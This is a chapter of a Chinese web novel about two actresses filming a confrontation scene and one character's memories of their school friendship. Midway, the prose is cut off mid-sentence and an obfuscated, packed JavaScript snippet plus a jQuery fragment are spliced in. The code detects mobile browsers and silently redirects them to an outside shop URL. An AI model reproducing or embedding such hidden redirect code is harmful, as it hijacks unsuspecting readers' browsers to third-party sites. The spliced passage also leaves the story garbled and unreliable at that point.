第一场戏，拍的便是决裂。
严洛清抽丝剥茧发现族人之死确与师傅和七大仙门有关。
这场戏，她设下魂咒阵，引师傅前来，同其对峙。
此刻，王勉正站在监视器旁，给两人讲戏。
他是国字脸，五官板正，额间眼角爬满皱纹，但眼神却依旧锐利精光。名导之下，对拍摄都有独特见解。
拿着卷成筒的剧本，王勉点了支烟，看着锦彤：
“这场戏情绪要像剥洋葱。你的眼神戏要到位。发现证据那一刻，你是绝望的。师傅是你年少的信仰，可她弑杀成性。你脑海中不段闪过族人的温情，你变得愤怒，迫切要求一个答案。甚至，在设下阵法时，你想过同归于尽。”
而后，王勉侧过身看司霁：
“严家对你的迫害是你心底最深的伤疤。你的情绪要收。收得紧，最后崩开越伤人。
你要注意独白的麻木，那种语调就像陈述客观事实，比如说‘今天下雨了’，平淡无波。但这就是一把钝刀子，割的是你和严洛清两个人。”
名导讲戏，一开口就知有没有。
准备就绪，王勉往监视器后一坐，工作人员严阵以待，准备开拍！
“第一场1镜1次！
“Action!”
严洛清奔波多时，素衣赃乱不堪，更因为魂咒阵的反噬，近乎穷途。
锦彤很快进入情绪，只见她眼眶发红，剑指眼前之人，声音都在颤：“师傅，果然是你！你为什么要这么做！为什么把无辜之人牵扯其中！”
她向前走了一步，“尚溪严家两百四十口，不也是您的……家人。”
镜头之下，锦彤步履虚浮，似是强撑一口气。她的肩膀绷得很紧，身影单薄瘦削，剑尖都在颤，好似风一吹便能折断。
此刻，锦彤就是严洛清。
镜头给到司霁。
红衣翻飞，她整个人便是镜头中最肃穆又最深沉的一抹颜色。
她早已入戏。
刚从严家余孽所设的绞杀阵逃脱，此刻又被魂咒中伤。
沽影近乎心死，往事的悲怆让她眼底隔着雾霭，似悲凉如孤寂。
“我的……家人？”
司霁抬手擦掉唇边血渍，那双眼睛猩红，几近入魔般妖冶。可语气确难掩悲凉，明明是平淡的陈述，却听得让人心惊：
“是在我母亲难产死后，放任我与野狗争食、被撕咬得没一块好皮的家人；”
“是在祭剑台上，用铁链锁住我，让火焰吞噬我神魂的家人；”
“还是在我生辰将我抽魂刻印，变成祭剑品的家人。”
特写镜头下，那张明艳的脸上，死如冷灰，平静地瞧不出任何情绪。空洞的麻木，轻松的陈述，甚至说完，司霁唇角还漾出一丝嘲讽的弧度。
可这样沉郁的气息却像一阵风，压到片场每个人身上。工作人员好似都被带到那片沉闷之地，亲眼看着那小小的孩童饱受折磨。
反噬太严重，她踉跄着几近跪地。
工作人员下意识屏住了呼吸。
“你说家人——是要我数数身上二十五道剑痕，哪道来自父亲，哪道流着至亲的血温？”
雨幕倾洒，红衣大袖飘风之下，司霁伪装的面具终是松散，她唇角那抹弧度不断扩大，几乎从喉咙溢出一抹干涩绝望的笑。
“我其实，羡慕你。”
而后，她抬眸看着严洛清，特写镜头下，一滴血泪从她眼眶溢出。浓稠地、血腥地。
这一幕，凄凉又绝美。
而不远处的锦彤似也看到了那幼小孩童饱受折磨，震惊、心疼、无措、苦闷、痛恨，不断拉扯着她的思绪。而这些情感，都能从她的眼神中渐渐品味。
王勉坐直了身体，意外地挑了下眉。
这俩人的对手戏，有点意思。
“好，保一条！”
保一条的意思是，导演觉得很不错，可以作为后期剪辑的有效素材。
“换个机位拍特写！”
王勉发话后，现场气氛松了不少，工作人员对演员的水准有了大致判断。
演员对手戏一场戏三四个小时是常有。在剧组，很少碰到磨合期都没有，便能火花四溅的演员。
而司霁和锦彤，却是这样的存在。
真不可思议。
而不远处，角落里，正坐着一个人。
她穿着西装，内搭黑色吊带裙，脖颈纤细修长，隐约露出一截嶙峋锁骨，长发垂落下，腰肢不堪一握。
白疏汀的眉眼生得极淡，像冬日的一捧雪，又似山涧潺潺的溪流，冷冽气息扑面，也透着清高疏离。
而此刻，她正一眨不眨地盯着不远处的监视器。
司霁都特写镜头被不断回放，极致明艳的面旁，极致破碎的氛围，那抹血泪滴落，透着惊心动魄的美感。
白疏汀看入了神。
然而，毫无预兆地，眼前兀地裂开一道缝。
脑海中的记忆涌出来。
那身红衣，不知怎的，就褪色变形，成了南加州公寓里，笔记本电脑上循环播放的、像素粗糙的旧日影像。
那也是司霁。年纪要小得多。
她穿着宽大的蓝白校服，举着DV相机。镜头不太稳，画面摇晃之际，正对着镜头后的自己做鬼脸，她笑起来很漂亮，眼睛弯弯似月牙。背景音是她带着软糯撒娇意味的声音：“白疏汀，你别动嘛！这个光影特别好，我要拍下来当素材！以后我们第一部电影，就用这个色调开头，好不好？”
“好。”
记忆里，年少的自己这样回答，声音带着一丝不易察觉的纵容。
记忆的闸门一旦松开，那些情绪便汹涌而至，带着那个年纪特有的、混着青草阳光的朝气。
镜头外的白疏汀，不是单纯的拍摄者。更多时候，是司霁举着DV，镜头追随她。
拍她在图书馆窗边看书，浓密长睫翕动下投出的淡淡阴影；拍她在天台边感受微风时，被风吹得鼓起的校服；甚至拍她冷淡的容颜，微微蹙眉修复老式胶片相机时，鼻尖沁出的小汗珠。
“白疏汀，你知不知道你思考的时候，这里会动。”司霁的指尖隔着屏幕，虚点她的眉心。白疏汀缓缓抬头，撞入司霁那双清凌凌的眼眸，那瞳孔里映衬着小小的自己。她不习惯被这样直白观察，心底好似被人不轻不重地捏了下，酥酥麻麻的。下意识想躲避镜头，司霁却立刻嚷起来，软糯像在撒娇：“别动别动嘛！你听我的，这个光影绝了！忧郁天才少女，以后我们电影主角就得有这个氛围！”
两人的“片场”无处不在。放学后空教室用粉笔画走位；学校后大片花园是外景地，琢磨如何利用黄昏光影；甚至挤在公交车上，两人也会观察“众生相”、不断记录迸发出的灵感台词。司霁太明媚太热烈，她总有奇思妙想、敢于尝试，像太阳，而白疏汀则更沉稳内敛，将司霁天马行空的想象，拉回可实现的光影与叙事逻辑，像疏淡的月光。
当情感达到一定浓度，连依赖是无声的。
白疏汀的笔袋里永远有备用笔。因为司霁总是丢三落四，尤其文具。两人一起看书，每当司霁低头翻找，白疏汀便了然地把笔找出来放在她书上，动作熟稔自然。司霁再抬头，白疏汀又恢复那副平静无波的样子。
白疏汀冷脸的时候其实很不好靠近，可偏偏司霁总能捕捉那面
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17288272|198473||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
具之下的柔和目光，像细腻的水，涤荡人心。司霁的嘴角忍不住一点点翘起来，一种被稳稳接住的妥帖感卷上心头。司霁没说话，只是身体软软地、得寸进尺地朝白疏汀靠过去，体温透过薄薄的校服传递。
直到她的下巴搭在白疏汀肩上，清苦的木质冷香包裹着她，她开口，带着百分之百的恃宠而骄：
“阿汀，你最好了。”
可下一秒，温存破裂！
不知什么时候，司霁站在离她很远的位置，暖黄的路灯照在她苍白的脸上，她眼眶发红，红血丝满布，声音透着委屈愤怒：
“白疏汀——”
“我最讨厌你！”
而后，她的身影逐渐消散在路灯下，白疏汀知道那是她们的倒数第二面。她向前跑去，企图拥抱住那抹身影。
记忆却被粗暴地扯向另一个渡口。
依旧是那台笔计本电脑的光，冷冷映在异国公寓墙上。屏幕里依旧是司霁明媚的笑脸，热烈似太阳。而现实中的自己，蜷缩成一团，裹着被子。高烧之下意识模糊，唯有眼睛干涩地睁着，一遍遍看这偷来的、不变的过去。
窗外是圣诞颂歌，窗内是停滞的时光。那时她想，如果电影有颜色，那司霁定义的部分，一定是暖的亮的。
那是她来南加州大学的第二年。
异国他乡的漂泊，白疏汀睡眠质量变得很差。几乎整夜整夜睡不着。
高考前司霁转学后，彻底消失在她生命中。也没有报考导演专业。
她不知道司霁的消息，司霁也从未踏入过她的梦境。
白疏汀想，司霁大概心里是怨恨她的，所以连这点虚幻的慰藉，也不肯施舍。
今天是她的生日，公寓停水停电，祸不单行又发了高烧，勉强取回外卖，她便瘫回床上，在冰冷与灼热夹击下意识模糊。
然后，司霁来了。
梦里的她比记忆中更清晰，眉眼长开了，褪去稚气，成了一种惊心动魄的漂亮。
只见她神色焦急，用手探白疏汀的额头，而后转身要去拿药倒水。
病痛将一切脆弱情绪放大，白疏汀几乎下意识拽住司霁的手腕，攥得很紧。好似怕一松手，这抹幻影便会消失不见。
她盯了她很久很久，直到眼睛干涩，直到一滴滚烫热泪不禁意从白疏汀眼角滑落。砸在“司霁”的手背上。
“阿霁”，
白疏汀忍不住，另一只手托住司霁后脑，两人几乎鼻息对着鼻息，她说了那句一直埋在心底的话，
“我很想你。”
你能不能
不要走。
中间又发生了什么，白疏汀记不真切。
等再转醒，梦境逼真得让她心悸。
甚至于她心底腾升出一丝可耻卑微的期待。
客厅忽地传来响动，白疏汀心脏狂跳，匆忙理了理汗湿的头发，隐去狼狈，便跑了出去。
她甚至没来得及穿拖鞋。
然而，刚到客厅，却浑身一僵。
门外站着的，只是前来探病的友人。
眼底浮动的碎光，在那瞬间寂灭。友人摸不着头脑，见她反常，还问了句，怎么了。白疏汀垂下眼睫，过了两秒，只轻声道：“做了个梦。”
现实中工作人员哄闹声传来，记忆如潮水般骤然退却，只余片场刺目的灯光和一身红衣的司霁。
尘封经年的往事，那份钻心刻苦的遗憾与经年找寻，都被这场光与影轻易勾出，横亘在两人之间。
她们之间隔着的，又何止是五个春夏秋冬。
白疏汀站起身，从侧面穿过，还没走几步，忽地，旁边一道惊呼：
“小心！”